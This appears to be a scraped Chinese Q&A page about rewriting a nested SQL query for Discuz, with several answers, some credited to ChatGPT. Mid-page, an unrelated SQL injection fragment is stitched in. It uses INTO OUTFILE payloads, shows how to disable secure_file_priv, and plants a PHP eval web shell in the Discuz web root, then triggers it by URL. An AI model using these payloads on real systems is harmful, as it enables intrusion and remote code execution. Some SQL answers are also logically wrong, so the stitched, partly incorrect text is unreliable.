在discuz里直接使用这段查询语句,会提示sql安全问题,因为discuz不支持嵌套查询方法。
那么请教,以下代码该怎么修改?谢谢。
SELECT
p2.LastName,
p2.FirstName,
o2.OrderNo
FROM
Persons p2
LEFT JOIN (
SELECT
P .LastName,
P .FirstName,
o.OrderNo
FROM
Persons P
INNER JOIN Orders o ON P .Id_P = o.Id_P
) o2
WHERE
o2.OrderNo IS NULL;
可以将嵌套查询改写成一个临时表,然后再进行LEFT JOIN操作。具体代码如下:
CREATE TEMPORARY TABLE temp_table
SELECT
P .LastName,
P .FirstName,
o.OrderNo
FROM
Persons P
INNER JOIN Orders o ON P .Id_P = o.Id_P;
SELECT
p2.LastName,
p2.FirstName,
o2.OrderNo
FROM
Persons p2
LEFT JOIN temp_table o2 ON p2.LastName = o2.LastName AND p2.FirstName = o2.FirstName
WHERE
o2.OrderNo IS NULL;
DROP TEMPORARY TABLE temp_table;
首先将嵌套查询改写成一个临时表temp_table,然后再使用LEFT JOIN操作。最后记得删除临时表。
下面是一个可能的解决方案:
首先,创建视图:
CREATE VIEW vw_PersonsWithOrders AS
SELECT
P.LastName,
P.FirstName,
o.OrderNo
FROM
Persons P
INNER JOIN Orders o ON P.Id_P = o.Id_P;
然后,使用视图进行查询:
SELECT
p2.LastName,
p2.FirstName,
o2.OrderNo
FROM
Persons p2
LEFT JOIN vw_PersonsWithOrders o2 ON p2.LastName = o2.LastName AND p2.FirstName = o2.FirstName
WHERE
o2.OrderNo IS NULL;
可以将嵌套查询改写为子查询,以解决discuz不支持嵌套查询的问题。以下是修改后的查询语句:
SELECT
p2.LastName,
p2.FirstName,
o.OrderNo
FROM
Persons p2
LEFT JOIN Orders o ON p2.Id_P = o.Id_P
WHERE
o.OrderNo IS NULL;
这里使用了左连接(LEFT JOIN)将Persons表和Orders表关联,并通过WHERE子句过滤出在Orders表中不存在的记录。
Payload:
1' into outfile 'c:\\wamp64\\tmp\\1.txt' -- a
emmmm....
The MySQL server is running with the --secure-file-priv option so it cannot execute this statement
查看一下secure-file-priv配置
show variables like '%secure%';
secure_file_priv的值为null,那么secure_file_priv这里都有什么设置呢
- secure_file_priv为null 表示不允许导入导出
- secure_file_priv指定文件夹时,表示mysql的导入导出只能发生在指定的文件夹
- secure_file_priv没有设置时,则表示没有任何限制
修改mysql.ini文件,加入如下语句
secure_file_priv=''
重启mysql服务
1' union select '<?php eval($_GET[1])?>' into outfile 'C:\\phpstudy_pro\\WWW\\discuz\\1.php' -- a
http://192.168.91.149/discuz/1.php?1=phpinfo();
以下答案由GPT-3.5大模型与博主波罗歌共同编写:
在Discuz中,可以将嵌套查询改写为简单的JOIN语句,如下:
SELECT p2.LastName, p2.FirstName, o.OrderNo
FROM Persons p2
LEFT JOIN Orders o ON p2.Id_P = o.Id_P
WHERE NOT EXISTS (
SELECT 1
FROM Persons P
INNER JOIN Orders o2 ON P.Id_P = o2.Id_P
WHERE P.LastName = p2.LastName AND P.FirstName = p2.FirstName
)
该查询首先左连接Persons
表和Orders
表,并根据Persons
表中的Id_P
和Orders
表中的Id_P
进行匹配。然后使用NOT EXISTS子查询过滤出没有与Persons
表中任何记录对应的Orders
表记录的人员。最后,从Persons
和Orders
表中选择必要的列进行返回。
注意:该查询仅在Discuz中替代原查询的过程中使用,并不能保证在其他环境中的正确性。
如果我的回答解决了您的问题,请采纳!
引用chatGPT作答,为了避免使用嵌套查询方法,您可以使用以下查询来替换原来的查询:
SELECT
p.LastName,
p.FirstName,
o.OrderNo
FROM
Persons p
LEFT JOIN Orders o ON p.Id_P = o.Id_P
WHERE
o.OrderNo IS NULL;
这个查询将 LEFT JOIN 与 ON 语句组合在一起,将两个表连接起来,并根据 WHERE 子句中的条件筛选出符合条件的行。这个查询将返回 Persons 表中的所有人员信息,如果该人员没有对应的订单,则 OrderNo 列的值为 NULL。